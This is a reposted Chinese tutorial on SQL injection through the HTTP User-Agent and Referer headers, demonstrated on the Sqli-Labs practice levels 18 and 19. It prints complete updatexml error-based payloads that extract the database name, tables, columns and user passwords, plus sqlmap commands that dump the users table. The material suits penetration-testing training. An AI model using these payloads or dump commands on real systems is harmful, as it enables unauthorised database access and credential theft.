iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > 其他教程 >图文详解HTTP头中的SQL注入
  • 793
分享到

图文详解HTTP头中的SQL注入

2024-04-02 19:04:59 793人浏览 八月长安
摘要

目录1.Http头中的注入介绍2.HTTP User-Agent注入3.HTTP Referer注入4.sqlmap安全测试5.HTTP头部详解总结HTTP头中的SQL注入 1.HT

HTTP头中的SQL注入

1.HTTP头中的注入介绍

在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。

过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤。
例如HTTP头中的User-Agent、Referer、Cookies等。

2.HTTP User-Agent注入

就拿Sqli-Lab-Less18

这里的User-Agent是可控的,因此存在HTTP User-Agent注入


INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

Payload内容:


updatexml(xml_document,xpath_string,new_value):

第一个参数:XML文档对象名称。

第二个参数:XPath字符串

第三个参数:替换查找到的符合条件的数据。

1.查看版本


' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2.查看数据库


' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到数据库security,获取数据表


' and updatexml(1,concat(0x7e,(select group_concat(table_name) from infORMation_schema.tables where table_schema='security'),0x7e),1) or '1'='1

4.得到数据表emails,referers,uagents,users,我们使用的是users表,获取字段名


' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

5.获取字段内容

当我们使用下面的语句时,会报错Subquery returns more than 1 ro


' and updatexml(1,concat(0x7e,(select concat(username,0x7e,passWord) from users),0x7e),1) or '1'='1

返回的数据有多行,我们可以使用limit限制其只返回一条数据


' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

3.HTTP Referer注入

Sqli-Lab19为例


' or '1'='1

1.查看版本


' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2.查看数据库


' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到数据库security,获取数据表


' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

4.得到数据表emails,referers,uagents,users,我们使用的是users表,获取字段名


' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

5.获取字段内容

当我们使用下面的语句时,会报错Subquery returns more than 1 row


' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

返回的数据有多行,我们可以使用limit限制其只返回一条数据


' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

4.sqlmap安全测试

抓取数据包,将抓取的全部内容,放到文本文档中,并且在有可能存在注入点的地方加入星号(*)

1.爆破数据库


python2 sqlmap.py -r 1.txt --dbs

得到数据库信息

2.爆破数据表


Python2 sqlmap.py -r 1.txt -D security --tables

得到数据表的信息

3.爆破字段及内容


python2 sqlmap.py -r 1.txt -D security -T users --dump

得到数据内容

PS

1.HTTP User-Agent注入HTTP Referer注入属于放包攻击,我们在放包的过程中,必须使用正确的用户名和密码;

2.如果探测出是HTTP头注入,在使用sqlmap跑的过程中,在末尾加上星号(*),可以提高渗透测试的效率

5.HTTP头部详解

User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)

Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密).

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])

Clien-IP:同上,不做过多介绍.

Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.

Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号(这个我本人还没碰到过,不过有真实存在的案例还是写上吧).

总结

到此这篇关于HTTP头中SQL注入的文章就介绍到这了,更多相关HTTP头中SQL注入内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: 图文详解HTTP头中的SQL注入

本文链接: https://www.lsjlt.com/news/159678.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 图文详解HTTP头中的SQL注入
    目录1.HTTP头中的注入介绍2.HTTP User-Agent注入3.HTTP Referer注入4.sqlmap安全测试5.HTTP头部详解总结HTTP头中的SQL注入 1.HT...
    99+
    2024-04-02
  • sqlmap注入图文详解
    目录1.发现此网址可能存在sql注入漏洞,我们进行sql盲注入测试一下是否存在漏洞。2.现在拿出我们的kali工具,sqlmap进行注入测试。3.可以看到存在注入漏洞,扫到了5个数据...
    99+
    2024-04-02
  • SQL注入详解
    本文首发于:行者AI 现在大多数系统都使用B/S架构,出于安全考虑需要过滤从页面传递过来的字符。通常,用户可以通过以下接口调用数据库的内容:URL地址栏、登陆界面、留言板、搜索框等。这往往会出现...
    99+
    2023-09-05
    sql 数据库 php
  • 【SQL注入详解】
    文章目录 前言题目1.SQL注入原理,危害,类型,防护措施,绕过方式,写入webshell的前提条件原理:危害:类型:1.union联合注入2.报错注入3.布尔盲注4.时间盲注5.二...
    99+
    2023-09-05
    sql 数据库 安全 php web安全
  • Mybatis常用注解中的SQL注入实例详解
    目录前言常见注入场景2.1普通注解2.2 动态sql2.2.1 使用< script>2.2.2 使用Provider注解总结前言 MyBatis3提供了新的基于注解的配...
    99+
    2024-04-02
  • Mybatis-plus sql注入及防止sql注入详解
    目录一、SQL注入是什么?二、mybatis是如何做到防止sql注入的1. #{} 和 ${} 两者的区别2.PreparedStatement和Statement的区别3.什么是预...
    99+
    2022-11-13
    mybatis-plus sql注入 mybatis-plus防止sql注入
  • HTTP中header头部信息详解
    HTTP Request的Header信息 1、HTTP请求方式 如下表: GET 向Web服务器请求一...
    99+
    2024-04-02
  • 一文了解pikachu的SQL注入
    前言: 本文章主要讲解关于pikachu的注入方式。 目录 前言: 一、数字型注入(post) 二、字符型注入(get) 三、搜索型注入 四、xx型注入 五、"insert/update"注入 六、"delete"注入 七、"http he...
    99+
    2023-10-04
    sql 数据库 mysql
  • Django中引入bootstrap的详细图文详解
    目录一、下载bootstrap二、创建一个简单Demo项目三、配置bootstrap总结一、下载bootstrap 下载地址:https://v3.bootcss.com/getti...
    99+
    2024-04-02
  • Java @Accessors注解图文详解
    目录前言1. @Accessors 源码2. @Accessors 属性说明2.1 fluent 属性2.2 chain 属性2.3 prefix 属性总结前言 在你的工作中,有时候...
    99+
    2023-02-03
    Accessors注解 @accessors注解
  • 一文详解嵌入式SQL
    目录嵌入式SQL概述使用嵌入式SQL的注意事项区分SQL语句与主语言语句数据库工作单元和程序工作单元之间的通信协调两种不同的处理方式嵌入式SQL程序的组成程序首都程序体在嵌入式SQL中使用游标检索多个元组游标定义语句游标...
    99+
    2023-01-17
    嵌入式SQL
  • SQL注入详解及防范方法
    目录一:什么是sql注入二:SQL注入攻击的总体思路 三:SQL注入攻击实例四:如何防御SQL注入1、检查变量数据类型和格式2、过滤特殊符号3、绑定变量,使用预编译语句  五:什么是...
    99+
    2024-04-02
  • Java中如何避免sql注入实例详解
    目录前言造成sql注入的原因:预防sql注入方法:java 有效的防止SQL注入总结前言 sql注入是web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息、利用数据库的特...
    99+
    2024-04-02
  • Mybatisplus详解如何注入自定义的SQL
    目录SQL 注入器第一步重写getMethodList第二步定义自己的SQL方法类第三步定义添加了自定义方法的Mapper类测试调用遗留问题SQL 注入器 官方文档提供了一个小案例 ...
    99+
    2024-04-02
  • 一文讲解Node+mysql对SQL注入
    虽然现在不会直接使用 原生NodeJS 的方式开发后台,但了解一下 SQL注入 还是很有必要的。本文使用 NodeJS + MySQL 对 SQL注入 进行讲解。SQL注入攻击 是很古老的攻击方式了,自从 web2.0 诞生后就有 SQL注...
    99+
    2022-11-22
    Node.js 后端
  • SQL注入中布尔盲注的示例讲解
    这篇文章主要介绍“SQL注入中布尔盲注的示例讲解”,在日常操作中,相信很多人在SQL注入中布尔盲注的示例讲解问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”SQL注入中布尔盲注...
    99+
    2024-04-02
  • 详解C++中的万能头文件
    目录一、什么是万能头文件?二、源码三、编译器找不到 bits/stdc++.h一、什么是万能头文件? C++的万能头文件是: #include <bits/stdc++.h&g...
    99+
    2023-02-13
    C++万能头文件 C++头文件
  • 一篇文章了解SQL注入漏洞
    目录SQL注入漏洞原理SQL注入内容注入条件SQL注释符与注入流程SQL注入分类SQLMap 分类接受请求类型区分注入数据类型的区分SQL注入思路手工注入思路SQL 详细注入过程总结...
    99+
    2024-04-02
  • MyBatis中防止SQL注入讲解
    SQL注入是一种代码注入技术,用于攻击数据驱动的应用,恶意的SQL语句被插入到执行的实体字段中(例如,为了转储数据库内容给攻击者)。 SQL注入,大家都不陌生,是一种常见的攻击方式。...
    99+
    2024-04-02
  • DVWA平台搭建+SQL注入实验详解
    实现1: 实现DVWA平台的搭建,为后续的SQL注入提供练习环境; 实现2: 进行SQL注入的练习,目的是了解因web应用程序对用户输入数据的合法性没有判断或过滤不严,而造成的危害,以便后续更好...
    99+
    2023-09-26
    sql 数据库 php
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作